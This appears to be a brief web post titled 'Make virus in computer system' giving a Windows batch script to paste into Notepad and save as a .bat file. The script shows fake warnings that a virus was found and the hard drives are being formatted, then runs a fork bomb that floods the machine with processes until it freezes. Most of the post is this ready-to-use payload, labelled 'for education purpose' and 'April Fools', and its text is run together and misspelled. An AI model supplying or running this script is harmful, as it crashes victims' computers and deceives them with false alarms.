Make virus in computer system

This code for education purposecopy this code in notepad then pase to notepad and save .bat file @echo offmsg * Warning your computer has detected a virus.msg * To remove the virus click OK or close this boxmsg * Your Hard drives are now being formattedmsg * Please wait ...........msg * APRIL FOOLS@echo offstart %0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0%0|%0goto start